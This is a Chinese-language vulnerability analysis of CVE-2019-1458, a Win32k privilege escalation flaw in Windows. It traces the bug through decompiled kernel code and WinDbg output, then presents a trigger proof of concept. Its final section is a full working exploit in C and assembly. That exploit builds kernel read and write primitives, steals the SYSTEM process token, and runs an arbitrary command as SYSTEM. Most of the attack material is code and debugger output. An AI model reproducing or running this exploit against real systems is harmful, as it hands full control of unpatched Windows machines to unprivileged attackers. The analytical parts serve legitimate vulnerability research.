CVE-2019-1458
0x00 漏洞简介
CVE-2019-1458
是Win32k中的特权提升漏洞,Win32k组件无法正确处理内存中的对象时,导致Windows中存在一个特权提升漏洞。成功利用此漏洞的攻击者可以在内核模式下运行任意代码。然后攻击者可能会安装程序、查看、更改或删除数据;或创建具有完全用户权限的新帐户。
0x01 影响版本
Microsoft Windows 10 Version 1607 for 32-bit Systems
Microsoft Windows 10 Version 1607 for x64-based Systems
Microsoft Windows 10 for 32-bit Systems
Microsoft Windows 10 for x64-based Systems
Microsoft Windows 7 for 32-bit Systems SP1
Microsoft Windows 7 for x64-based Systems SP1
Microsoft Windows 8.1 for 32-bit Systems
Microsoft Windows 8.1 for x64-based Systems
Microsoft Windows RT 8.1
Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
Microsoft Windows Server 2008 R2 for x64-based Systems SP1
Microsoft Windows Server 2008 for 32-bit Systems SP2
Microsoft Windows Server 2008 for Itanium-based Systems SP2
Microsoft Windows Server 2008 for x64-based Systems SP2
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2016
0x03 漏洞分析
【 实 验 环 境 】 : W i n 7 s p 1 _ x 64 7600 \textcolor{green}{【实验环境】:Win7\ sp1\_x64\ 7600} 【实验环境】:Win7 sp1_x64 7600
漏洞发生在 x x x P a i n t S w i t c h W i n d o w \textcolor{cornflowerblue}{xxxPaintSwitchWindow} xxxPaintSwitchWindow函数中
■ xxxPaintSwitchWindow分析
void __fastcall xxxPaintSwitchWindow(tagWND *pwndSwitch)
{
...
if ( (pwndSwitch->style & 0x10000000) != 0 )//bVisible被置位
{
if ( (pwndSwitch->fnid & 0x3FFF) == 0x2A0
&& pwndSwitch->cbwndExtra + 0x128i64 == *(unsigned __int16 *)(gpsi + 0x154) )
{
if ( *((char *)&pwndSwitch->1 + 3) < 0 )
return;
ExtraBytes = (_QWORD *)pwndSwitch->ExtraBytes;
}
if ( ExtraBytes )
{
hdcSwitch = (HDC)GetDCEx(pwndSwitch, 0i64, 0x10000i64);
if ( !*((_DWORD *)ExtraBytes + 0x1B) )
goto LABEL_11;
LOBYTE(v3) = 0x12;
if ( (GetKeyState(v3) & 0x8000u) == 0i64 )//判断Alt键状态
goto LABEL_25;
if ( !*((_DWORD *)ExtraBytes + 0x1B) )
{
LABEL_11:
if ( GetAsyncKeyState(0x12u) >= 0 )//判断Alt键状态
goto LABEL_25;
}
GetClientRect(pwndSwitch, (char *)ExtraBytes + 92);
FillRect(hdcSwitch, (char *)ExtraBytes + 0x5C, *(_QWORD *)(gpsi + 3024));
v5 = -*((_DWORD *)GetDPIMetrics() + 0x13);
v6 = *((_DWORD *)GetDPIMetrics() + 0x12);
*((_DWORD *)ExtraBytes + 0x18) -= v5;
*((_DWORD *)ExtraBytes + 0x1A) += v5;
v6 *= -2;
*((_DWORD *)ExtraBytes + 0x17) -= v6;
*((_DWORD *)ExtraBytes + 0x19) += v6;
...
}
...
}
...
}
pwndSwitch表示的是被切换窗口的内核对象,满足4个条件:
- 被切换的窗口可视 @line:4
- 被切换窗口的 f n i d & 0 x 3 F F F = = 0 x 2 A 0 \textcolor{orange}{fnid \& 0x3FFF == 0x2A0} fnid&0x3FFF==0x2A0
- 被切换的窗口的额外数据大小加上0x128的值与 g p s i + 0 x 154 \textcolor{orange}{gpsi + 0x154} gpsi+0x154指向的内存值相等 @line:7
- Alt键按下
将会进入到漏洞位置 @line:18,发现从该处开始没有对 ExtraBytes 指向的内存做任何校验就直接写入,而 ExtraBytes 可以通过 S e t W i n d o w L o n g ∗ ∗ \textcolor{cornflowerblue}{SetWindowLong**} SetWindowLong∗∗系列函数设置,因此存在任意内存写漏洞。
x x x P a i n t S w i t c h W i n d o w \textcolor{cornflowerblue}{xxxPaintSwitchWindow} xxxPaintSwitchWindow函数可由 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc } xxxSwitchWndProc函数在某个情况下直接调用,下面对 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc进行一个简单分析。
■ xxxSwitchWndProc分析
__int64 __fastcall xxxSwitchWndProc(tagWND *pwnd, unsigned int message, __int64 wParam, __int64 lParam)
{
...
if ( LOWORD(pwnd->fnid) == 0x2A0 )
{
switch ( message )
{
...
case 0x14u:
case 0x3Au:
v10 = *(_QWORD *)(v7 + 336);
v14[1] = (__int64)pwnd;
v14[0] = v10;
*(_QWORD *)(v7 + 336) = v14;
++pwnd->head.cLockObj;
xxxPaintSwitchWindow(pwnd); // 漏洞函数
ThreadUnlock1(v12, v11);
return 0i64;
}
}
...
if ( message == 1 )
{
LOWORD(pwnd->fnid) = 0x2A0;
goto LABEL_7;
}xxxSwitchWndProc
}
- 当被切换窗口的 f n i d = = 0 x 2 A 0 \textcolor{orange}{fnid==0x2A0} fnid==0x2A0且传递的消息值是0x14或者是0x3A时就能够进入到漏洞函数。
对 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc函数进行交叉引用,发现在 x x x W r a p S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxWrapSwitchWndProc} xxxWrapSwitchWndProc函数中被调用。
__int64 __fastcall xxxWrapSwitchWndProc(tagWND *pwnd, unsigned int message, __int64 wParam, __int64 lParam)
{
__int64 result; // rax
if ( (unsigned int)CheckProcessIdentity() )
result = xxxSwitchWndProc(pwnd, message, wParam, lParam);
else
result = 0i64;
return result;
}
再对 x x x W r a p S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxWrapSwitchWndProc} xxxWrapSwitchWndProc函数进行交叉引用,发现在 I n i t F u n c t i o n T a b l e s \textcolor{cornflowerblue}{InitFunctionTables} InitFunctionTables函数中,将 x x x W r a p S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxWrapSwitchWndProc} xxxWrapSwitchWndProc函数指针保存在 g p s i + 0 x 40 \textcolor{orange}{gpsi+0x40} gpsi+0x40位置。目前看来没有哪个系统函数显示的调用了 x x x W r a p S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxWrapSwitchWndProc} xxxWrapSwitchWndProc,所以我们需要找到某个能够调用 g p s i + 0 x 40 \textcolor{orange}{gpsi+0x40} gpsi+0x40的函数。幸运的是这样的函数一抓一大把,正是NtUserfn开头的函数。这些函数内部有个统一的特征,就是根据dwType参数与gpsi做计算,调用位于gpsi某个位置的函数,就拿 N t U s e r f n N C D E S T R O Y \textcolor{cornflowerblue}{NtUserfnNCDESTROY} NtUserfnNCDESTROY举例
__int64 __fastcall NtUserfnNCDESTROY(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, char dwType)
{
return (*(__int64 (__fastcall **)(__int64))(gpsi + 8i64 * ((dwType + 6) & 0x1F) + 16))(a1);
}
所有NtUserfn开头的函数都用着同样的计算方式 @line:3去调用gpsi中的函数。我们想调用的是位于 g p s i + 0 x 40 \textcolor{orange}{gpsi+0x40} gpsi+0x40的 x x x W r a p S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxWrapSwitchWndProc} xxxWrapSwitchWndProc,所以这里传递的dwType可以取值但不限于0。
而 N t U s e r M e s s a g e C a l l \textcolor{cornflowerblue}{NtUserMessageCall} NtUserMessageCall可以调用到NtUserfn开头系列的函数,下面来简单分析一下。
■ NtUserMessageCall分析
__int64 __fastcall NtUserMessageCall(HWND hwnd, unsigned int msg, __int64 wParam, __int64 lParam, __int64 ResultInfo, int dwType, int a7)
{
...
if ( (hwnd == (HWND)0xFFFF || hwnd == (HWND)-1i64) && (dwType == 0x2B7 || dwType == 0x2B8) )
{
pwnd = (tagWND *)-1i64;
}
else
{
pwnd = (tagWND *)ValidateHwnd(hwnd);
...
}
if ( msg < 0x400 )
v15 = ((__int64 (__fastcall *)(tagWND *, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[*(_BYTE *)(msg - 0x68001000000i64 + 0x2A6390) & 0x3F])(
pwnd,
msg,
wParam,
lParam,
ResultInfo,
dwType,
a7);
...
}
@line:14这里根据msg的取值,调用了一个全局函数指针数组中的某个函数。浏览一下gapfnMessageCall的部分元素
.rdata:FFFFF97FFF2A6190 gapfnMessageCall dq offset NtUserfnNCDESTROY
.rdata:FFFFF97FFF2A6190 ; DATA XREF: NtUserMessageCall+12A↑r
.rdata:FFFFF97FFF2A6198 dq offset NtUserfnNCDESTROY
.rdata:FFFFF97FFF2A61A0 dq offset NtUserfnINLPCREATESTRUCT
.rdata:FFFFF97FFF2A61A8 dq offset NtUserfnINSTRINGNULL
.rdata:FFFFF97FFF2A61B0 dq offset NtUserfnOUTSTRING
.rdata:FFFFF97FFF2A61B8 dq offset NtUserfnINSTRING
.rdata:FFFFF97FFF2A61C0 dq offset NtUserfnINOUTLPWINDOWPOS
.rdata:FFFFF97FFF2A61C8 dq offset NtUserfnINLPDRAWITEMSTRUCT
.rdata:FFFFF97FFF2A61D0 dq offset NtUserfnINOUTLPMEASUREITEMSTRUCT
@line:14的计算是重点和msg的取值有关,而msg的取值还会决定 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc函数流程该走向switch中的哪个分支。我们期望的msg取值是0x14或者0x3A,以便从 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc函数中进入 x x x P a i n t S w i t c h W i n d o w \textcolor{cornflowerblue}{xxxPaintSwitchWindow} xxxPaintSwitchWindow漏洞函数。@line:14处IDA的反汇编结果不太准确,需要从汇编代码中去分析
NtUserMessageCall+101 lea r11, cs:0FFFFF97FFF000000h
NtUserMessageCall+108 movzx r10d, byte ptr [rsi+r11+2A6390h] ;rsi = msg , r11+2A6390h = MessageTable
; r10d = MessageTable[rsi]
NtUserMessageCall+111 mov [rsp+78h+var_48], eax
NtUserMessageCall+115 mov rax, [rsp+78h+ResultInfo]
NtUserMessageCall+11D and r10d, 3Fh
NtUserMessageCall+121 mov [rsp+78h+var_50], ebp
NtUserMessageCall+125 mov [rsp+78h+var_58], rax
NtUserMessageCall+12A call ds:rva gapfnMessageCall[r11+r10*8]
从汇编代码的结果来看,@line:14正确的反汇编结果应该是
v15 = ((__int64 (__fastcall *)(tagWND *, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[ MessageTable[msg] & 0x3F](
pwnd,
msg,
wParam,
lParam,
ResultInfo,
dwType,
a7); );
MessageTable部分数据:
kd> db fffff960`00050000+2A6390h
fffff960`002f6390 00 c2 00 00 00 00 00 00-00 00 00 00 c3 c4 ec 00 ................
fffff960`002f63a0 00 00 00 00 80 00 00 00-00 00 c3 c5 00 00 00 00 ................
fffff960`002f63b0 00 00 00 00 86 00 00 80-00 00 00 87 88 89 00 4a ...............J
fffff960`002f63c0 00 80 00 00 00 00 00 00-8b 8c 29 00 a9 00 00 00 ..........).....
fffff960`002f63d0 00 00 00 00 00 00 8d 8e-00 cf 90 00 00 00 00 00 ................
fffff960`002f63e0 00 00 00 91 00 00 00 00-00 00 00 00 00 00 00 00 ................
fffff960`002f63f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fffff960`002f6400 a9 00 00 00 00 00 00 00-00 00 00 00 92 92 00 00 ................
根据 @line:14的计算方式,当 m s g = 0 x 14 \textcolor{orange}{msg=0x14} msg=0x14时,取到的函数指针为 N t U s e r f n N C D E S T R O Y \textcolor{cornflowerblue}{NtUserfnNCDESTROY} NtUserfnNCDESTROY;当 m s g = 0 x 3 A \textcolor{orange}{msg=0x3A} msg=0x3A时,取到的函数指针为 s u b _ F F F F F 97 F F F 0 E 3 D B 4 \textcolor{cornflowerblue}{sub\_FFFFF97FFF0E3DB4} sub_FFFFF97FFF0E3DB4,显然 m s g = 0 x 3 A \textcolor{orange}{msg=0x3A} msg=0x3A这种情况下,取到的函数名不是以NtUserfn开头的,结构不符合要求,所以舍去。
下面编写测试POC,验证漏洞。
0x04 漏洞验证
WNDCLASSEXW wcs = { 0 };
wcs.cbSize = sizeof(WNDCLASSEXW);
wcs.cbWndExtra = 8;
wcs.hInstance = GetModuleHandleA(0);
wcs.lpszMenuName = 0;
wcs.lpfnWndProc = DefWindowProcW;
wcs.lpszClassName = L"Trigger";
ATOM atom;
if ((atom = RegisterClassExW(&wcs))==INVALID_ATOM) {
printf("[!]Error: %d\n", __LINE__ - 1);
return;
}
//创建一个用于触发漏洞的窗口
HWND hTrigger = CreateWindowExW(0, (LPCWSTR)(unsigned short)atom, NULL, WS_VISIBLE,
0, 0, 0, 0, NULL, NULL, GetModuleHandleA(0), NULL);
if (hTrigger == INVALID_HANDLE_VALUE) {
printf("[!]Error: %d\n", __LINE__ - 1);
return;
}
printf("[+]hTrigger = 0x%x\n", hTrigger);
//设置hTrigger的tagWND->ExtraBytes 0x18偏移处的值为无效的内存指针
SetWindowLongPtrW(hTrigger, 0, 'AAAA');
//第一次调用NtUserMessageCall目的是给hTrigger对应的tagWND->fnid赋值0x2A0
NtUserMessageCall(hTrigger, WM_CREATE, 0, 0, 0, 0, 0);
//创建一个类名为#32771的窗口,此窗口的特点是设置[gpsi+0x154]=0x130
HWND hSwitchWnd= CreateWindowExW(0,L"#32771" , L"Switch Window", 0, 0, 0, 0, 0, NULL, NULL, GetModuleHandleA(0), NULL);
if (hSwitchWnd == INVALID_HANDLE_VALUE) {
printf("[!]Error: %d\n", __LINE__ - 2);
return;
}
Key_Down(VK_MENU);
//第二次调用NtUserMessageCall目的是触发漏洞
NtUserMessageCall(hTrigger, 0x14, 0, 0, 0, 0, 0);
@line:25先将ExtraBytes偏移为0的位置设置成一个无效指针。
@line:27需要说明一下,窗口创建之初默认其fnid为0,所以第一次调用 N t U s e r M e s s a g e C a l l \textcolor{cornflowerblue}{NtUserMessageCall} NtUserMessageCall,其msg传值为1,为的就是利用 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc修改 f n i d = 0 x 2 A 0 \textcolor{orange}{fnid=0x2A0} fnid=0x2A0。
@line:30创建一个类名为#32771
的窗口是为了绕过
x
x
x
P
a
i
n
t
S
w
i
t
c
h
W
i
n
d
o
w
\textcolor{cornflowerblue}{xxxPaintSwitchWindow}
xxxPaintSwitchWindow函数中对
g
p
s
i
+
154
\textcolor{orange}{gpsi+154}
gpsi+154的检查(回顾相应部分的分析的 @line:7)。
@line:36模拟键盘按下Alt键是为了绕过 x x x P a i n t S w i t c h W i n d o w \textcolor{cornflowerblue}{xxxPaintSwitchWindow} xxxPaintSwitchWindow函数中对按键状态的检查(回顾相应部分的分析的 @line:24)。
@line:39第二次调用 N t U s e r M e s s a g e C a l l \textcolor{cornflowerblue}{NtUserMessageCall} NtUserMessageCall,其msg传值为0x14触发漏洞。
通过动态调试我们发现,漏洞成功触发:
t a g W N D − > E x t r a B y t e s \textcolor{orange}{tagWND->ExtraBytes} tagWND−>ExtraBytes成功被修改为一个无效指针,随后对其访问或者修改会则引发系统BSOD。
0x05 漏洞利用
回顾之前对 x x x P a i n t S w i t c h W i n d o w \textcolor{cornflowerblue}{xxxPaintSwitchWindow} xxxPaintSwitchWindow的静态分析,函数会修改 E x t r a B y t e s + 0 x 5 C \textcolor{orange}{ExtraBytes+0x5C} ExtraBytes+0x5C开始的0x10个字节数据,通过动态调试发现,实际上是从 E x t r a B y t e s + 0 x 58 \textcolor{orange}{ExtraBytes+0x58} ExtraBytes+0x58处就开始连续修改了24个字节的数据,并且修改后的数据都异常的大:
kd> dq 0x000000000035f6a0+58
00000000`0035f6f8 0000000e`00000000 00000066`ffffffde
00000000`0035f708 00000000`ffffffef 00000000`00000000
00000000`0035f718 00000000`00000000 00000000`00000000
00000000`0035f728 00000000`00000000 00000000`00000000
00000000`0035f738 00000000`00000000 00000000`00000000
所以利用的思路就和之前我另一篇CVE-2016-07255
分析的一样。稍有不同的是,在win7 x64sp1
下,需要使用
N
t
U
s
e
r
D
e
f
S
e
t
T
e
x
t
\textcolor{cornflowerblue}{NtUserDefSetText}
NtUserDefSetText代替
S
e
t
W
i
n
d
o
w
T
e
x
t
W
\textcolor{cornflowerblue}{SetWindowTextW}
SetWindowTextW实现写原语,使用
I
n
t
e
r
n
a
l
G
e
t
W
i
n
d
o
w
T
e
x
t
\textcolor{cornflowerblue}{InternalGetWindowText}
InternalGetWindowText代替
G
e
t
W
i
n
d
o
w
T
e
x
t
W
\textcolor{cornflowerblue}{GetWindowTextW}
GetWindowTextW实现读原语,函数名不同,用法基本相同。
最后还需要对之前部分内核数据的修改做出修正,否则在窗口关闭的时候会BSOD,这只是防止蓝屏的简单部分。随后我发现,窗口关闭导致蓝屏的问题虽然解决了,然而cmd进程结束导致了系统蓝屏,错误信息如下:
*** Fatal System Error: 0x0000004e
(0x0000000000000099,0x0000000000105498,0x0000000000000000,0x0000000000105518)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!RtlpBreakWithStatusInstruction:
fffff800`03cc2f60 cc int 3
kd> kb
# RetAddr : Args to Child : Call Site
00 fffff800`03dc06d2 : 00000000`00000099 fffffa80`06635b60 00000000`00000065 fffff800`03d09314 : nt!RtlpBreakWithStatusInstruction
01 fffff800`03dc14be : 00000000`00000003 00000000`00000000 fffff800`03d05ee0 00000000`0000004e : nt!KiBugCheckDebugBreak+0x12
02 fffff800`03ccb004 : fffffa80`06635b60 fffff880`03e48d48 fffff880`03e48c70 fffff800`03cce54b : nt!KeBugCheck2+0x71e
03 fffff800`03d5932c : 00000000`0000004e 00000000`00000099 00000000`00105498 00000000`00000000 : nt!KeBugCheckEx+0x104
04 fffff800`03d2dce4 : 00000000`000007ff 00000000`00000410 fffff8a0`013356f0 00000000`000003ac : nt!MiBadShareCount+0x4c
05 fffff800`03f87542 : fffff780`00000004 00000000`00000000 00000000`00000001 fffffa80`0370b080 : nt! ?? ::FNODOBFM::`string'+0x17551
06 fffff800`03f87207 : fffffa80`060f1370 00000000`00000008 fffffa80`00000000 fffffa80`00000000 : nt!MmDeleteProcessAddressSpace+0x42
07 fffff800`03cd00b4 : 00000000`00000000 fffffa80`060f1370 fffffa80`060f1340 fffff800`04057915 : nt!PspProcessDelete+0x177
08 fffff800`03dcf439 : fffffa80`060f1370 fffffa80`06814000 fffffa80`06814e48 fffffa80`06814e40 : nt!ObfDereferenceObject+0xd4
09 fffff800`0411b1fe : fffffa80`00000372 fffffa80`0466f000 fffffa80`060f1370 fffffa80`06814e48 : nt!MmFreeAccessPfnBuffer+0x29
0a fffff800`0413c820 : fffffa80`06635b01 00000000`00000080 fffffa80`0370b740 fffff800`03e57568 : nt!PfpFlushBuffers+0x23e
0b fffff800`03f6e166 : ffffffff`ff676980 fffffa80`06635b60 fffff880`03e48db0 fffffa80`06635b60 : nt!PfTLoggingWorker+0xe0
0c fffff800`03ca9486 : fffff800`03e43e80 fffffa80`06635b60 fffffa80`062f5b60 fffff880`0123fa90 : nt!PspSystemThreadStartup+0x5a
0d 00000000`00000000 : fffff880`03e49000 fffff880`03e43000 fffff880`03e48750 00000000`00000000 : nt!KiStartSystemThread+0x16
我严重怀疑是x64下替换当前进程的Token为SYSTEM的Token时会涉及Token对象的引用计数问题,然后我尝试在替换之前给SYSTEM的Token引用计数从1增加到2到10,而在这3种情况下,cmd进程结束还是会BSOD。然而,我手动在Windbg模拟修改cmd的Token为SYSTEM的Token,在cmd结束后却不会蓝屏。后来我又试着在替换当前cmd进程的Token时做个备份,在cmd进程结束之前再替换回来,结果还是BSOD。这个问题目前还没解决,在线等各位大佬的帮助v^v!
0x06 EXP
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#define EXTRABYTES_SIZE_OFFSET_IN_TAGWND 0xE8
#define STRNAME_OFFSET_IN_TAGWND 0xD8
#define EXTRABYTES_OFFSET_IN_TAGWND 0x128
#define SPWNDLASTACTIVE_OFFSET_IN_TAGWND 0xF0
#define EPROCESS_OFFSET_IN_KTHREAD 0x210
#define TOKEN_OFFSET_IN_EPROCESS 0x208
#define EPROCESS_ENTRY_OFFSET_IN_EPROCESS 0x188
#define PID_OFFSET_IN_EPROCESS 0x180
#define OBJECT_HEADER_SIZE 0x30
typedef struct _LARGE_UNICODE_STRING {
ULONG Length;
ULONG MaximumLength : 31;
ULONG bAnsi : 1;
PWSTR Buffer;
} LARGE_UNICODE_STRING, * PLARGE_UNICODE_STRING;
typedef struct _THRDESKHEAD {
HANDLE h;
ULONG cLockObj;
PVOID pti;
PVOID rpdesk;
PBYTE pSelf;
} THRDESKHEAD, * PTHRDESKHEAD;
typedef PVOID(__fastcall* HMValidateHandle_t)(HANDLE, UINT);
extern "C" NTSTATUS NtUserMessageCall(HANDLE hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
extern "C" NTSTATUS NtUserDefSetText(HANDLE hWnd, PLARGE_UNICODE_STRING plstr);
extern "C" ULONG g_NtUserDefSetText_syscall = 0x107f, g_NtUserMessageCall_syscall = 0x1007;
HMValidateHandle_t HMValidateHandle = 0;
HWND g_hWndList[0x100] = { 0 };
ULONG64 g_spKwnd[0x100] = { 0 };
BOOLEAN Init() {
int offset = 0;
ULONG next_code = 0;
ULONG dwRetBytes = 0;
int Kernel_Base_index = 0;
HMODULE hKernel = 0;
for (int i = 0; i < 0x100; i++) {
PUCHAR tr = (PUCHAR)IsMenu + i;
if (*tr == 0xE8)
{//找到调用HMValidateHandle的指令位置
offset = *(int*)((PCHAR)IsMenu + i + 1);
next_code = (ULONG)IsMenu + i + 5;
HMValidateHandle = (HMValidateHandle_t)(next_code + offset);
break;
}
}
if (!HMValidateHandle) {
printf("[!]Error: %d\n", __LINE__ - 1);
return FALSE;
}
printf("[+]Found HMValidateHandle = 0x%p\n", HMValidateHandle);
return TRUE;
}
ULONG64 readQWORD(PVOID TargetAddr, HWND hWndAttack, HWND hWndVictim, ULONG64 Offset,PULONG64 OldQword) {
WCHAR qwVal[8] = { 0 };
ULONG64 ret;
ret = SetWindowLongPtrW(hWndAttack, Offset, (ULONG64)TargetAddr);
if (OldQword)*OldQword = ret;
InternalGetWindowText(hWndVictim, qwVal, sizeof(qwVal));
return *(PULONG64)qwVal;
}
VOID writeQWORD(
PVOID TargetAddr, HWND hWndAttack, HWND hWndVictim, ULONG64 Offset, ULONG64 Value, PULONG64 OldQword
) {
ULONG64 ret;
LARGE_UNICODE_STRING data = { 0 };
ret = SetWindowLongPtrW(hWndAttack, Offset, (ULONG64)TargetAddr);
if (OldQword)*OldQword = ret;
data.bAnsi = 0;
data.Length = 8;
data.MaximumLength = 0xA;
data.Buffer = (PWCHAR)&Value;
NtUserDefSetText(hWndVictim, &data);
}
VOID Exploit(char* cmd) {
WNDCLASSEXW wcs = { 0 };
wcs.cbSize = sizeof(WNDCLASSEXW);
wcs.cbWndExtra = 8;
wcs.hInstance = GetModuleHandleA(0);
wcs.lpszMenuName = 0;
wcs.lpfnWndProc = DefWindowProcW;
for (int i = 0; i < 0x100;) {
WCHAR wszClsName[0x20];
wsprintfW(wszClsName, L"%d", (i + 1) * 1998);
wcs.lpszClassName = wszClsName;
if (RegisterClassExW(&wcs)==INVALID_ATOM) {
continue;
}
HWND hTmp = CreateWindowExW(
NULL,
wszClsName,
L"Fuck you",
WS_VISIBLE,
0, 0, 0, 0, NULL, 0, GetModuleHandleA(0), 0
);
if (hTmp==INVALID_HANDLE_VALUE) {
continue;
}
PTHRDESKHEAD spRdes = (PTHRDESKHEAD)HMValidateHandle(hTmp, 1);
g_spKwnd[i] = (ULONG64)spRdes->pSelf;
g_hWndList[i++] = hTmp;
}
HWND hWndAttack = 0;
HWND hWndVictim = 0;
ULONG64 spKwndAttack = 0;
ULONG64 spKwndVictim = 0;
BOOLEAN bOver = FALSE;
//寻找在内核中位置相距在0xFF0000之内的两个窗口,其余窗口全部销毁
for (int i = 0; i < 0x100 - 1 && !bOver; i++) {
for (int j = i + 1; j < 0x100; j++) {
hWndAttack = g_spKwnd[i] > g_spKwnd[j] ? g_hWndList[j] : g_hWndList[i];
hWndVictim = (g_spKwnd[i] < g_spKwnd[j]) ? g_hWndList[j] : g_hWndList[i];
spKwndAttack = (g_spKwnd[i] < g_spKwnd[j]) ? g_spKwnd[i] : g_spKwnd[j];
spKwndVictim = (g_spKwnd[i] > g_spKwnd[j]) ? g_spKwnd[i] : g_spKwnd[j];
if (spKwndVictim - spKwndAttack < 0xFF0000)
{
g_hWndList[i] = g_hWndList[j] = 0;
bOver = TRUE;
break;
}
}
}
for (int i = 0; i < 0x100; i++)
DestroyWindow(g_hWndList[i]);
if (spKwndAttack == 0 || spKwndVictim == 0) {
printf("[+]Error:%d\n", __LINE__ - 1);
return;
}
printf("[+]spKwndAttack = 0x%p\n", spKwndAttack);
printf("[+]spKwndVictim = 0x%p\n", spKwndVictim);
SetWindowLongPtrW(hWndAttack, 0, spKwndAttack+EXTRABYTES_SIZE_OFFSET_IN_TAGWND-0x60);
//第一次调用NtUserMessageCall目的是给hTrigger对应的tagWND->fnid赋值0x2A0
NtUserMessageCall(hWndAttack, WM_CREATE, 0, 0, 0, 0, 0);
//创建一个类名为#32771的窗口,此窗口的特点是设置[gpsi+0x154]=0x130
HWND hSwitchWnd= CreateWindowExW(0,L"#32771" , L"Switch Window", 0, 0, 0, 0, 0, NULL, NULL, GetModuleHandleA(0), NULL);
if (hSwitchWnd == INVALID_HANDLE_VALUE) {
printf("[!]Error: %d\n", __LINE__ - 2);
return;
}
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
//第二次调用NtUserMessageCall目的是触发漏洞,此时hWndAttack的cbWndExtra已被修改成很大的数
NtUserMessageCall(hWndAttack, 0x14, 0, 0, 0, 0, 0);
ULONG64 ulOffset = spKwndVictim - spKwndAttack - EXTRABYTES_OFFSET_IN_TAGWND
+ STRNAME_OFFSET_IN_TAGWND+8;
printf("[+]ulOffset = 0x%p\n", ulOffset);
PTHRDESKHEAD spRdes = (PTHRDESKHEAD)HMValidateHandle(hWndVictim, 1);
ULONG64 ulOld;
ULONG64 Ethread = readQWORD(spRdes->pti, hWndAttack, hWndVictim, ulOffset, &ulOld);
printf("[+]ulOld = 0x%p\n", ulOld);
printf("[+]Ethread = 0x%p\n", Ethread);
ULONG64 CurEprocess = readQWORD((PVOID)(Ethread + EPROCESS_OFFSET_IN_KTHREAD),
hWndAttack, hWndVictim, ulOffset, NULL);
ULONG64 NextEprocess = CurEprocess;
printf("[+]CurEprocess = 0x%p\n", CurEprocess);
ULONG64 CurPid = GetCurrentProcessId();
ULONG64 Pid = 0;
ULONG64 Token = 0;
ULONG64 OldToken = 0;
PVOID TokenAddress = NULL;
ULONG64 RefCnt;
do {
Pid = readQWORD((PVOID)(NextEprocess + PID_OFFSET_IN_EPROCESS),
hWndAttack, hWndVictim, ulOffset, NULL);
if (Pid == 4) {
Token = readQWORD((PVOID)(NextEprocess + TOKEN_OFFSET_IN_EPROCESS),
hWndAttack, hWndVictim, ulOffset, NULL);
}
else if (Pid == CurPid) {
TokenAddress = (PVOID)(NextEprocess + TOKEN_OFFSET_IN_EPROCESS);
OldToken = readQWORD((PVOID)(NextEprocess + TOKEN_OFFSET_IN_EPROCESS),
hWndAttack, hWndVictim, ulOffset, NULL);
}
NextEprocess = readQWORD((PVOID)(NextEprocess + EPROCESS_ENTRY_OFFSET_IN_EPROCESS),
hWndAttack, hWndVictim, ulOffset, NULL)- EPROCESS_ENTRY_OFFSET_IN_EPROCESS;
} while (NextEprocess != CurEprocess);
printf("[+]TokenAddress = 0x%p\n", TokenAddress);
printf("[+]Token = 0x%p\n", Token);
if (Token && TokenAddress) {
/* RefCnt = readQWORD((PVOID)((Token & 0xFFFFFFFFFFFFFFF0) - OBJECT_HEADER_SIZE ),
hWndAttack, hWndVictim, ulOffset, NULL);
printf("[+]System token RefCnt = %d\n", RefCnt);*/
修改令牌前,需要先修改令牌的引用计数
/* writeQWORD((PVOID)((Token & 0xFFFFFFFFFFFFFFF0) - OBJECT_HEADER_SIZE),
hWndAttack, hWndVictim, ulOffset, RefCnt + 2, NULL);*/
writeQWORD((PVOID)TokenAddress,
hWndAttack, hWndVictim, ulOffset, (Token & 0xFFFFFFFFFFFFFFF0), NULL);
printf("[*]Try execute %s as SYSTEM!\n", cmd);
system(cmd);
}
else {
printf("[-]Privilege escalation Failed!\n");
}
防蓝屏操作
//writeQWORD((PVOID)TokenAddress,
// hWndAttack, hWndVictim, ulOffset, OldToken,NULL);
writeQWORD((PVOID)(spKwndAttack + STRNAME_OFFSET_IN_TAGWND),
hWndAttack, hWndVictim, ulOffset, 0,NULL);
writeQWORD((PVOID)(spKwndAttack + STRNAME_OFFSET_IN_TAGWND+8),
hWndAttack, hWndVictim, ulOffset, 0, NULL);
writeQWORD((PVOID)(spKwndAttack + SPWNDLASTACTIVE_OFFSET_IN_TAGWND),
hWndAttack, hWndVictim, ulOffset, 0, NULL);
SetWindowLongPtrW(hWndAttack, ulOffset, ulOld);
return;
}
int main(int argc, char** argv) {
if (Init()) {
Exploit(argv[1]);
}else{
printf("[!]Error: %d\n", __LINE__ - 3);
}
system("pause");
return 0;
}
_TEXT SEGMENT
EXTERNDEF g_NtUserDefSetText_syscall:dword
EXTERNDEF g_NtUserMessageCall_syscall:dword
PUBLIC NtUserMessageCall
NtUserMessageCall PROC
mov r10, rcx
mov eax, g_NtUserMessageCall_syscall
syscall
ret
NtUserMessageCall ENDP
NtUserDefSetText PROC
mov r10, rcx
mov eax, g_NtUserDefSetText_syscall
syscall
ret
NtUserDefSetText ENDP
_TEXT ENDS
END
0x07 演示
